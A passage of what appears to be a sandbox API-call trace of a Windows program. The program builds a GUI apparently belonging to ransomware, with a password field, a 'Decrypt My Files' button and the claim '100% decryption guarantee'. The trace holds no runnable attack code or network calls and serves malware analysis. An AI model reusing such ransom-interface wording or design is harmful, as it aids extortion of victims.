(hWnd=0x1025e, Msg=0x2210, wParam=0x25e0001, lParam=0x1025e) returned 0x0 [0161.897] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0x2210, wParam=0x25e0001, lParam=0x1025e) returned 0x0 [0161.897] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0161.897] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0x46, wParam=0x0, lParam=0x19e194) returned 0x0 [0161.898] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0161.898] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0x14, wParam=0x1e0106e1, lParam=0x0) returned 0x1 [0161.898] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0x47, wParam=0x0, lParam=0x19e194) returned 0x0 [0161.898] GetClientRect (in: hWnd=0x1025e, lpRect=0x19de68 | out: lpRect=0x19de68) returned 1 [0161.898] GetWindowRect (in: hWnd=0x1025e, lpRect=0x19de68 | out: lpRect=0x19de68) returned 1 [0161.898] GetParent (hWnd=0x1025e) returned 0x10256 [0161.898] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10256, lpPoints=0x19de68, cPoints=0x2 | out: lpPoints=0x19de68) returned -16646646 [0161.898] GetParent (hWnd=0x1025e) returned 0x10256 [0161.898] GetParent (hWnd=0x1025e) returned 0x10256 [0161.898] GetCurrentActCtx (in: lphActCtx=0x19e784 | out: lphActCtx=0x19e784*=0xef1264) returned 1 [0161.898] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.899] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0161.899] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="Password:", dwStyle=0x5600000d, X=178, Y=9, nWidth=251, nHeight=63, hWndParent=0x10256, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10260 [0161.899] SetWindowLongW (hWnd=0x10260, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0161.899] GetWindowLongW (hWnd=0x10260, nIndex=-4) returned 1876339648 [0161.900] SetWindowTextW (hWnd=0x10260, lpString="Password:") returned 1 [0161.900] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10260, Msg=0xc, wParam=0x0, lParam=0x3035cd8) returned 0x1 [0161.900] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10260, Msg=0x5, wParam=0x0, lParam=0x3f00fb) returned 0x0 [0161.901] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10260, Msg=0x3, wParam=0x0, lParam=0x900b2) returned 0x0 [0161.901] GetClientRect (in: hWnd=0x10260, lpRect=0x19deac | out: lpRect=0x19deac) returned 1 [0161.901] GetWindowRect (in: hWnd=0x10260, lpRect=0x19deac | out: lpRect=0x19deac) returned 1 [0161.901] GetParent (hWnd=0x10260) returned 0x10256 [0161.901] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10256, lpPoints=0x19deac, cPoints=0x2 | out: lpPoints=0x19deac) returned -16646646 [0161.901] SendMessageW (hWnd=0x10260, Msg=0x2210, wParam=0x2600001, lParam=0x10260) returned 0x0 [0161.901] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10260, Msg=0x2210, wParam=0x2600001, lParam=0x10260) returned 0x0 [0161.901] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10260, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0161.901] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10260, Msg=0x46, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0161.901] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10260, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0161.901] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10260, Msg=0x47, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0161.901] GetClientRect (in: hWnd=0x10260, lpRect=0x19de7c | out: lpRect=0x19de7c) returned 1 [0161.901] GetWindowRect (in: hWnd=0x10260, lpRect=0x19de7c | out: lpRect=0x19de7c) returned 1 [0161.901] GetParent (hWnd=0x10260) returned 0x10256 [0161.901] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10256, lpPoints=0x19de7c, cPoints=0x2 | out: lpPoints=0x19de7c) returned -16646646 [0161.901] GetParent (hWnd=0x10260) returned 0x10256 [0161.902] GetParent (hWnd=0x10260) returned 0x10256 [0161.902] GetCurrentActCtx (in: lphActCtx=0x19e784 | out: lphActCtx=0x19e784*=0xef1264) returned 1 [0161.902] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.902] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0161.902] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.141b42a_r11_ad1", lpWindowName="Decrypt My Files", dwStyle=0x5e01000b, X=87, Y=148, nWidth=467, nHeight=42, hWndParent=0x10256, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10262 [0161.902] SetWindowLongW (hWnd=0x10262, nIndex=-4, dwNewLong=1876224000) returned 88375534 [0161.902] GetWindowLongW (hWnd=0x10262, nIndex=-4) returned 1876224000 [0161.904] SetWindowTextW (hWnd=0x10262, lpString="Decrypt My Files") returned 1 [0161.904] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10262, Msg=0xc, wParam=0x0, lParam=0x3035fac) returned 0x1 [0161.904] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10262, Msg=0x5, wParam=0x0, lParam=0x2a01d3) returned 0x0 [0161.904] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10262, Msg=0x3, wParam=0x0, lParam=0x940057) returned 0x0 [0161.904] GetClientRect (in: hWnd=0x10262, lpRect=0x19dea0 | out: lpRect=0x19dea0) returned 1 [0161.904] GetWindowRect (in: hWnd=0x10262, lpRect=0x19dea0 | out: lpRect=0x19dea0) returned 1 [0161.904] GetParent (hWnd=0x10262) returned 0x10256 [0161.904] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10256, lpPoints=0x19dea0, cPoints=0x2 | out: lpPoints=0x19dea0) returned -16646646 [0161.904] SendMessageW (hWnd=0x10262, Msg=0x2210, wParam=0x2620001, lParam=0x10262) returned 0x0 [0161.904] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10262, Msg=0x2210, wParam=0x2620001, lParam=0x10262) returned 0x0 [0161.904] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10262, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0161.904] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10262, Msg=0x46, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0161.905] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10262, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0161.905] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10262, Msg=0x14, wParam=0x1e0106e1, lParam=0x0) returned 0x1 [0161.905] GetStockObject (i=5) returned 0x900015 [0161.905] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10262, Msg=0x47, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0161.905] GetClientRect (in: hWnd=0x10262, lpRect=0x19de70 | out: lpRect=0x19de70) returned 1 [0161.905] GetWindowRect (in: hWnd=0x10262, lpRect=0x19de70 | out: lpRect=0x19de70) returned 1 [0161.905] GetParent (hWnd=0x10262) returned 0x10256 [0161.905] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10256, lpPoints=0x19de70, cPoints=0x2 | out: lpPoints=0x19de70) returned -16646646 [0161.905] GetParent (hWnd=0x10262) returned 0x10256 [0161.905] GetParent (hWnd=0x10262) returned 0x10256 [0161.905] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x19e798 | out: lpdwProcessId=0x19e798) returned 0x390 [0161.905] GetCurrentThreadId () returned 0x390 [0161.905] PostMessageW (hWnd=0x10256, Msg=0xc172, wParam=0x0, lParam=0x0) returned 1 [0161.905] GdipImageGetFrameDimensionsCount (image=0x691ccc8, count=0x19e768) returned 0x0 [0161.905] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0xf6d820 [0161.905] GdipImageGetFrameDimensionsList (image=0x691ccc8, dimensionIDs=0xf6d820*(Data1=0x74737953, Data2=0x6d65, Data3=0x82e, Data4=([0]=0x6e, [1]=0x0, [2]=0x61, [3]=0x0, [4]=0x6d, [5]=0x0, [6]=0x65, [7]=0x0)), count=0x1) returned 0x0 [0161.905] LocalFree (hMem=0xf6d820) returned 0x0 [0161.906] GetWindowTextLengthW (hWnd=0x1025c) returned 0 [0161.906] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0161.906] GetSystemMetrics (nIndex=42) returned 0 [0161.906] GetWindowTextW (in: hWnd=0x1025c, lpString=0x19e76c, nMaxCount=1 | out: lpString="") returned 0 [0161.906] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0xd, wParam=0x1, lParam=0x19e76c) returned 0x0 [0161.906] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0161.906] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0161.906] GetSystemMetrics (nIndex=42) returned 0 [0161.906] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e808, nMaxCount=1 | out: lpString="") returned 0 [0161.906] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e808) returned 0x0 [0161.906] GetWindowTextLengthW (hWnd=0x30212) returned 14 [0161.906] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xe [0161.906] GetSystemMetrics (nIndex=42) returned 0 [0161.906] GetWindowTextW (in: hWnd=0x30212, lpString=0x19e8f8, nMaxCount=15 | out: lpString="Open Decryptor") returned 14 [0161.906] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xd, wParam=0xf, lParam=0x19e8f8) returned 0xe [0161.906] SetWindowTextW (hWnd=0x30212, lpString="Close Decryptor") returned 1 [0161.906] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xc, wParam=0x0, lParam=0x303ece4) returned 0x1 [0161.907] GetStockObject (i=5) returned 0x900015 [0161.907] GetStockObject (i=5) returned 0x900015 [0161.907] GetDlgItem (hDlg=0x8004e, nIDDlgItem=197138) returned 0x30212 [0161.907] SendMessageW (hWnd=0x30212, Msg=0x202b, wParam=0x30212, lParam=0x19e324) returned 0x0 [0161.908] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x202b, wParam=0x30212, lParam=0x19e324) returned 0x0 [0161.908] InvalidateRect (hWnd=0x30212, lpRect=0x0, bErase=0) returned 1 [0161.908] GetCapture () returned 0x30212 [0161.908] ReleaseCapture () returned 1 [0161.908] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x215, wParam=0x0, lParam=0x0) returned 0x0 [0161.908] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.908] IsWindowUnicode (hWnd=0x10256) returned 1 [0161.908] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.908] TranslateMessage (lpMsg=0x19ee78) returned 0 [0161.908] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0161.908] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.908] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24a0178) returned 0x1 [0161.908] IsWindowUnicode (hWnd=0x30212) returned 1 [0161.908] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.908] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24a0178) returned 0x1 [0161.908] SetCursor (hCursor=0x10003) returned 0x10003 [0161.909] TranslateMessage (lpMsg=0x19ee78) returned 0 [0161.909] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0161.909] GetKeyState (nVirtKey=1) returned 1 [0161.909] GetKeyState (nVirtKey=2) returned 0 [0161.909] GetKeyState (nVirtKey=4) returned 0 [0161.909] GetKeyState (nVirtKey=5) returned 0 [0161.909] GetKeyState (nVirtKey=6) returned 0 [0161.909] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.909] IsWindowUnicode (hWnd=0x10248) returned 1 [0161.909] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.909] TranslateMessage (lpMsg=0x19ee78) returned 0 [0161.909] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0161.909] BeginPaint (in: hWnd=0x10248, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x60100ce [0161.909] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0161.909] GetWindowTextLengthW (hWnd=0x10248) returned 0 [0161.909] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0161.909] GetSystemMetrics (nIndex=42) returned 0 [0161.909] GetWindowTextW (in: hWnd=0x10248, lpString=0x19e8ac, nMaxCount=1 | out: lpString="") returned 0 [0161.909] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xd, wParam=0x1, lParam=0x19e8ac) returned 0x0 [0161.909] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0161.909] EndPaint (hWnd=0x10248, lpPaint=0x19e8f8) returned 1 [0161.910] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.910] IsWindowUnicode (hWnd=0x10246) returned 1 [0161.910] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.910] TranslateMessage (lpMsg=0x19ee78) returned 0 [0161.910] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0161.910] BeginPaint (in: hWnd=0x10246, lpPaint=0x19e8e8 | out: lpPaint=0x19e8e8) returned 0x1b010670 [0161.910] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0161.910] GetWindowTextLengthW (hWnd=0x10246) returned 3 [0161.910] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0161.910] GetSystemMetrics (nIndex=42) returned 0 [0161.910] GetWindowTextW (in: hWnd=0x10246, lpString=0x19e888, nMaxCount=4 | out: lpString="Key") returned 3 [0161.910] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xd, wParam=0x4, lParam=0x19e888) returned 0x3 [0161.910] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0161.910] EndPaint (hWnd=0x10246, lpPaint=0x19e8e4) returned 1 [0161.910] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.910] IsWindowUnicode (hWnd=0x1024a) returned 1 [0161.910] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.910] TranslateMessage (lpMsg=0x19ee78) returned 0 [0161.910] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0161.910] BeginPaint (in: hWnd=0x1024a, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1e0106e1 [0161.911] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0161.911] CreateCompatibleDC (hdc=0x1e0106e1) returned 0x4e01019f [0161.911] SelectObject (hdc=0x4e01019f, h=0x8050721) returned 0x85000f [0161.911] GdipCreateFromHDC (hdc=0x4e01019f, graphics=0x19e8e4) returned 0x0 [0161.911] GdipTranslateWorldTransform (graphics=0x6920320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0161.911] GdipSetClipRectI (graphics=0x6920320, x=0, y=0, width=308, height=32, combineMode=0x0) returned 0x0 [0161.911] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0161.911] GdipGetWorldTransform (graphics=0x6920320, matrix=0x6920600) returned 0x0 [0161.911] GdipIsMatrixIdentity (matrix=0x6920600, result=0x19e944) returned 0x0 [0161.911] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0161.911] GdipGetMatrixElements (matrix=0x6920600, matrixOut=0xf75c20) returned 0x0 [0161.911] LocalFree (hMem=0xf75c20) returned 0x0 [0161.911] GdipDeleteMatrix (matrix=0x6920600) returned 0x0 [0161.911] GdipCreateRegion (region=0x19e92c) returned 0x0 [0161.911] GdipGetClip (graphics=0x6920320, region=0x6920630) returned 0x0 [0161.911] GdipIsInfiniteRegion (region=0x6920630, graphics=0x6920320, result=0x19e938) returned 0x0 [0161.911] GdipSaveGraphics (graphics=0x6920320, state=0x19e964) returned 0x0 [0161.911] GetWindowTextLengthW (hWnd=0x1024a) returned 25 [0161.911] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0161.911] GetSystemMetrics (nIndex=42) returned 0 [0161.911] GetWindowTextW (in: hWnd=0x1024a, lpString=0x19e84c, nMaxCount=26 | out: lpString="100% decryption guarantee") returned 25 [0161.912] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0xd, wParam=0x1a, lParam=0x19e84c) returned 0x19 [0161.912] GetClientRect (in: hWnd=0x1024a, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0161.912] GdipCreateRegion (region=0x19e780) returned 0x0 [0161.912] GdipGetClip (graphics=0x6920320, region=0x6920920) returned 0x0 [0161.912] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0161.912] GdipGetWorldTransform (graphics=0x6920320, matrix=0x6915f08) returned 0x0 [0161.912] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0161.912] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0161.912] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0161.912] LocalFree (hMem=0xf75bb0) returned 0x0 [0161.912] GdipCombineRegionRegion (region=0x6920920, region2=0x6920630, combineMode=0x1) returned 0x0 [0161.912] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0161.912] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0161.912] LocalFree (hMem=0xf75c20) returned 0x0 [0161.912] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0161.912] GdipIsInfiniteRegion (region=0x6920920, graphics=0x6920320, result=0x19e7c0) returned 0x0 [0161.912] GdipIsInfiniteRegion (region=0x6920920, graphics=0x6920320, result=0x19e7b0) returned 0x0 [0161.912] GdipGetRegionHRgn (region=0x6920920, graphics=0x6920320, hRgn=0x19e7b0) returned 0x0 [0161.912] GdipDeleteRegion (region=0x6920920) returned 0x0 [0161.912] GdipGetDC (graphics=0x6920320, hdc=0x19e7c8) returned 0x0 [0161.912] GetCurrentObject (hdc=0x4e01019f, type=0x1) returned 0xb00017 [0161.912] GetCurrentObject (hdc=0x4e01019f, type=0x2) returned 0x900010 [0161.912] GetCurrentObject (hdc=0x4e01019f, type=0x7) returned 0x8050721 [0161.912] GetCurrentObject (hdc=0x4e01019f, type=0x6) returned 0x8a01c2 [0161.912] SaveDC (hdc=0x4e01019f) returned 1 [0161.912] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x6f0406f7 [0161.913] GetClipRgn (hdc=0x4e01019f, hrgn=0x6f0406f7) returned 0 [0161.913] SelectClipRgn (hdc=0x4e01019f, hrgn=0xdd0406fe) returned 2 [0161.913] DeleteObject (ho=0x6f0406f7) returned 1 [0161.913] DeleteObject (ho=0xdd0406fe) returned 1 [0161.913] OffsetViewportOrgEx (in: hdc=0x4e01019f, x=0, y=0, lppt=0x303f2a8 | out: lppt=0x303f2a8) returned 1 [0161.913] GetNearestColor (hdc=0x4e01019f, color=0x22a3f8) returned 0x22a3f8 [0161.913] CreateSolidBrush (color=0x22a3f8) returned 0x1910073a [0161.913] FillRect (hDC=0x4e01019f, lprc=0x19e7cc, hbr=0x1910073a) returned 1 [0161.913] DeleteObject (ho=0x1910073a) returned 1 [0161.913] RestoreDC (hdc=0x4e01019f, nSavedDC=-1) returned 1 [0161.913] GdipReleaseDC (graphics=0x6920320, hdc=0x4e01019f) returned 0x0 [0161.913] GdipRestoreGraphics (graphics=0x6920320, state=0xfd4a0dbd) returned 0x0 [0161.913] GdipDeleteRegion (region=0x6920630) returned 0x0 [0161.913] GetWindowTextLengthW (hWnd=0x1024a) returned 25 [0161.913] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0161.913] GetSystemMetrics (nIndex=42) returned 0 [0161.913] GetWindowTextW (in: hWnd=0x1024a, lpString=0x19e84c, nMaxCount=26 | out: lpString="100% decryption guarantee") returned 25 [0161.913] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0xd, wParam=0x1a, lParam=0x19e84c) returned 0x19 [0161.913] GdipGetDC (graphics=0x6920320, hdc=0x19e7e8) returned 0x0 [0161.913] GetCurrentObject (hdc=0x4e01019f, type=0x1) returned 0xb00017 [0161.913] GetCurrentObject (hdc=0x4e01019f, type=0x2) returned 0x900010 [0161.913] GetCurrentObject (hdc=0x4e01019f, type=0x7) returned 0x8050721 [0161.913] GetCurrentObject (hdc=0x4e01019f, type=0x6) returned 0x8a01c2 [0161.914] SaveDC (hdc=0x4e01019f) returned 1 [0161.914] GetNearestColor (hdc=0x4e01019f, color=0x0) returned 0x0 [0161.914] RestoreDC (hdc=0x4e01019f, nSavedDC=-1) returned 1 [0161.914] GdipReleaseDC (graphics=0x6920320, hdc=0x4e01019f) returned 0x0 [0161.914] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.914] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0161.914] GdipGetTextRenderingHint (graphics=0x6920320, mode=0x19e788) returned 0x0 [0161.914] GdipGetDC (graphics=0x6920320, hdc=0x19e774) returned 0x0 [0161.914] GetCurrentObject (hdc=0x4e01019f, type=0x1) returned 0xb00017 [0161.914] GetCurrentObject (hdc=0x4e01019f, type=0x2) returned 0x900010 [0161.914] GetCurrentObject (hdc=0x4e01019f, type=0x7) returned 0x8050721 [0161.914] GetCurrentObject (hdc=0x4e01019f, type=0x6) returned 0x8a01c2 [0161.914] SaveDC (hdc=0x4e01019f) returned 1 [0161.914] GetTextAlign (hdc=0x4e01019f) returned 0x0 [0161.914] GetTextColor (hdc=0x4e01019f) returned 0x0 [0161.915] GetCurrentObject (hdc=0x4e01019f, type=0x6) returned 0x8a01c2 [0161.915] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0161.915] SelectObject (hdc=0x4e01019f, h=0xa0a0724) returned 0x8a01c2 [0161.915] GetBkMode (hdc=0x4e01019f) returned 2 [0161.915] SetBkMode (hdc=0x4e01019f, mode=1) returned 2 [0161.915] DrawTextExW (in: hdc=0x4e01019f, lpchText="100% decryption guarantee", cchText=25, lprc=0x19e708, format=0x100000, lpdtp=0x303f79c | out: lpchText="100% decryption guarantee", lprc=0x19e708) returned 32 [0161.915] RestoreDC (hdc=0x4e01019f, nSavedDC=-1) returned 1 [0161.915] GdipReleaseDC (graphics=0x6920320, hdc=0x4e01019f) returned 0x0 [0161.915] GdipGetDC (graphics=0x6920320, hdc=0x19e924) returned 0x0 [0161.915] BitBlt (hdc=0x1e0106e1, x=0, y=0, cx=308, cy=32, hdcSrc=0x4e01019f, x1=0, y1=0, rop=0xcc0020) returned 1 [0161.915] GdipReleaseDC (graphics=0x6920320, hdc=0x4e01019f) returned 0x0 [0161.915] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0161.916] SelectObject (hdc=0x4e01019f, h=0x85000f) returned 0x8050721 [0161.916] DeleteDC (hdc=0x4e01019f) returned 1 [0161.916] GdipDeleteGraphics (graphics=0x6920320) returned 0x0 [0161.916] EndPaint (hWnd=0x1024a, lpPaint=0x19e8c8) returned 1 [0161.916] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.916] IsWindowUnicode (hWnd=0x1024c) returned 1 [0161.916] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.916] TranslateMessage (lpMsg=0x19ee78) returned 0 [0161.916] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0161.916] BeginPaint (in: hWnd=0x1024c, lpPaint=0x19e908 | out: lpPaint=0x19e908) returned 0x10105d6 [0161.916] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0161.916] CreateCompatibleDC (hdc=0x10105d6) returned 0x5001019f [0161.916] SelectObject (hdc=0x5001019f, h=0x8050721) returned 0x85000f [0161.916] GdipCreateFromHDC (hdc=0x5001019f, graphics=0x19e920) returned 0x0 [0161.916] GdipTranslateWorldTransform (graphics=0x6920320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0161.917] GdipSetClipRectI (graphics=0x6920320, x=0, y=0, width=32, height=36, combineMode=0x0) returned 0x0 [0161.917] GdipCreateMatrix (matrix=0x19e968) returned 0x0 [0161.917] GdipGetWorldTransform (graphics=0x6920320, matrix=0x6920600) returned 0x0 [0161.917] GdipIsMatrixIdentity (matrix=0x6920600, result=0x19e980) returned 0x0 [0161.917] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0161.917] GdipGetMatrixElements (matrix=0x6920600, matrixOut=0xf75c20) returned 0x0 [0161.917] LocalFree (hMem=0xf75c20) returned 0x0 [0161.917] GdipDeleteMatrix (matrix=0x6920600) returned 0x0 [0161.917] GdipCreateRegion (region=0x19e968) returned 0x0 [0161.917] GdipGetClip (graphics=0x6920320, region=0x6920630) returned 0x0 [0161.917] GdipIsInfiniteRegion (region=0x6920630, graphics=0x6920320, result=0x19e974) returned 0x0 [0161.917] GdipSaveGraphics (graphics=0x6920320, state=0x19e9a0) returned 0x0 [0161.917] GetWindowTextLengthW (hWnd=0x1024c) returned 0 [0161.917] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0161.917] GetSystemMetrics (nIndex=42) returned 0 [0161.917] GetWindowTextW (in: hWnd=0x1024c, lpString=0x19e8b8, nMaxCount=1 | out: lpString="") returned 0 [0161.917] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024c, Msg=0xd, wParam=0x1, lParam=0x19e8b8) returned 0x0 [0161.917] GetClientRect (in: hWnd=0x1024c, lpRect=0x19e968 | out: lpRect=0x19e968) returned 1 [0161.917] GdipCreateRegion (region=0x19e7bc) returned 0x0 [0161.917] GdipGetClip (graphics=0x6920320, region=0x6920920) returned 0x0 [0161.917] GdipCreateMatrix (matrix=0x19e7bc) returned 0x0 [0161.917] GdipGetWorldTransform (graphics=0x6920320, matrix=0x6915f08) returned 0x0 [0161.917] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e7d4) returned 0x0 [0161.917] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0161.917] GdipGetMatrixElements (matrix=0x6915f08, 